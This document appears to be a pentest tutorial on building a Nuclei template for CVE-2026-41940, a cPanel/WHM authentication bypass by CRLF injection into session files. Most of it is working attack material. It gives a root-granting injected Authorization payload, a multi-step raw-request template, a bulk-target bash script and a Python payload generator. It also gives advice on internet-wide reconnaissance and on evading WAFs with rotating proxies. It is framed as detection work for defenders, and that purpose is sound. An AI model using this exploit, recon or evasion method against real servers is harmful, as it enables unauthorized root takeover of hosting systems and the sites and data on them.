Writing a Custom Nuclei Template to Detect CVE-2026-41940: Unauthenticated cPanel Auth Bypass

The Technical Root Cause of CVE-2026-41940

CVE-2026-41940 is a critical authentication bypass vulnerability in cPanel and WebHost Manager (WHM) stemming from a Carriage Return Line Feed (CRLF) injection vulnerability in the cpsrvd daemon. The flaw resides specifically within the HTTP Basic authentication handler's interaction with the session management system. When an unauthenticated user attempts to log in, cpsrvd generates a pre-authentication session file on the server's disk to track the attempt. The vulnerability occurs because the password provided in the Authorization header is written verbatim into this session file via the Cpanel::Session::saveSession() function, which fails to call the filter_sessiondata() sanitization wrapper. By embedding literal newlines (\r\n) into the password field, an attacker can inject arbitrary key-value pairs that the session parser later interprets as legitimate session attributes, effectively elevating an unauthenticated request to a fully authenticated root session.

Session File Manipulation and Logic Elevation

In a standard cPanel session file, attributes are stored in a simple newline-delimited format. A normal login attempt might create a file containing user=pending and pass=hash. However, by sending a password like password\nuser=root\nhasroot=1\ntfa_verified=1, the attacker forces the underlying file to contain these injected lines as top-level entries. When the session is reloaded—often triggered by a subsequent request to a protected endpoint—the parser reads user=root and hasroot=1, bypassing the entire password verification logic and two-factor authentication (2FA) requirements. This bypass grants the attacker full administrative control over the hosting environment, including access to all hosted websites, databases, and configuration files.

Reconnaissance and Target Identification

Finding vulnerable instances at scale requires identifying cPanel and WHM management ports, typically 2082, 2083, 2086, and 2087. Using Zondex for discovering exposed services and internet-wide reconnaissance allows a pentester to filter for specific HTTP response headers, such as Server: cpsrvd, combined with version strings that fall within the affected range (prior to 11.136.0.5). Once a list of targets is generated, the next step is to verify the vulnerability using an automated scanner like Nuclei, which can handle the multi-step request chain required to trigger the session promotion logic.

Automating Discovery with Bash

To process bulk results from reconnaissance tools, a simple bash script can format the targets for Nuclei. This ensures that the scanner focuses only on active endpoints that respond on the specific management ports where cpsrvd is listening.

#!/bin/bash
# Filter targets for cPanel/WHM management ports
cat targets.txt | grep -E ":(2082|2083|2086|2087)" > active_cpanel_targets.txt

# Run Nuclei with the custom template and pipe to a log file
nuclei -l active_cpanel_targets.txt -t cve-2026-41940.yaml -o findings.log

Constructing the Nuclei Template

Writing a Nuclei template for CVE-2026-41940 requires a raw request workflow. Unlike simple one-off GET requests, this exploit depends on a specific sequence: injecting the session data, capturing the session cookie, and then accessing a privileged API endpoint to confirm authentication. We target the /json-api/version endpoint, as it is only accessible to authenticated users and provides an unambiguous confirmation of success.

Template Structure and Metadata

The template begins with metadata and classification. We include references to the CVSS score (9.8) and the specific CWE-93 (CRLF Injection) to maintain high-quality reporting standards.

id: CVE-2026-41940

info:
  name: cPanel & WHM - Authentication Bypass via Session-File CRLF Injection
  author: research_team
  severity: critical
  description: |
    A critical authentication bypass in cPanel & WHM allows unauthenticated 
    attackers to gain root access via CRLF injection in the password field.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41940
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-93
  tags: cve,cve2026,cpanel,auth-bypass,crlf

Defining the Multi-Step HTTP Chain

The http block uses the raw type to send precise payloads. The first request uses a base64-encoded Authorization header containing the CRLF payload. The payload is designed to inject the user=root, hasroot=1, and tfa_verified=1 attributes into the session file. We also inject a successful_internal_auth_with_timestamp to mimic a successful internal state.

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64("admin:password\nuser=root\nhasroot=1\ntfa_verified=1\ncp_security_token=scan_token\nsuccessful_internal_auth_with_timestamp=1714310400")}}

      - |
        GET /cpsess{{session_id}}/json-api/version HTTP/1.1
        Host: {{Hostname}}
        Cookie: session=root; whostmgrsession={{session_id}}

    extractors:
      - type: regex
        name: session_id
        internal: true
        part: header
        regex:
          - "whostmgrsession=([a-zA-Z0-9]+)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"version"'
          - '"build"'
        condition: and

      - type: status
        status:
          - 200

Operational Considerations and Evasion

When running these templates against a large infrastructure, it is common to encounter Web Application Firewalls (WAFs) that flag high volumes of Basic Auth attempts or specific CRLF sequences. Routing traffic through GProxy allows you to rotate through a pool of clean proxy addresses, preventing the source IP from being blacklisted during the scanning phase. This is particularly useful when performing broad audits for clients with distributed hosting footprints.

Integration with Automated Platforms

For organizations managing thousands of servers, integrating this template into Secably provides a centralized way to perform vulnerability scanning and automated web security testing. This ensures that as soon as a new cPanel instance is spun up, it is immediately checked against the CVE-2026-41940 logic before it can be exploited in the wild. High-fidelity templates like this minimize false positives by requiring a successful API response (the version data) rather than just relying on HTTP status codes, which can be misleading on custom error pages.

Advanced Payload Customization

While the basic CRLF injection targets the user=root attribute, different cPanel versions may require slightly different session keys to achieve full bypass. Pentesters should occasionally update the payload to include app=whostmgr or specific security_token formats if the initial exploit fails. Below is a Python snippet used to generate various base64-encoded payloads for different session attributes, facilitating the testing of edge cases in the cpsrvd parser.

import base64

def generate_payload(username, attributes):
    # Construct the injected password string
    payload_str = f"{username}:password"
    for key, value in attributes.items():
        payload_str += f"\n{key}={value}"
    
    # Encode for Authorization header
    encoded = base64.b64encode(payload_str.encode()).decode()
    return f"Authorization: Basic {encoded}"

attrs = {
    "user": "root",
    "hasroot": "1",
    "tfa_verified": "1",
    "cp_security_token": "nuclei_test",
    "successful_internal_auth_with_timestamp": "1714310400"
}

print(generate_payload("admin", attrs))

The effectiveness of this template lies in its ability to simulate the exact behavior of a threat actor while providing deterministic results. By extracting the version number from the final response, the pentester not only confirms the bypass but also provides the remediation team with the exact build version currently running, accelerating the patching process.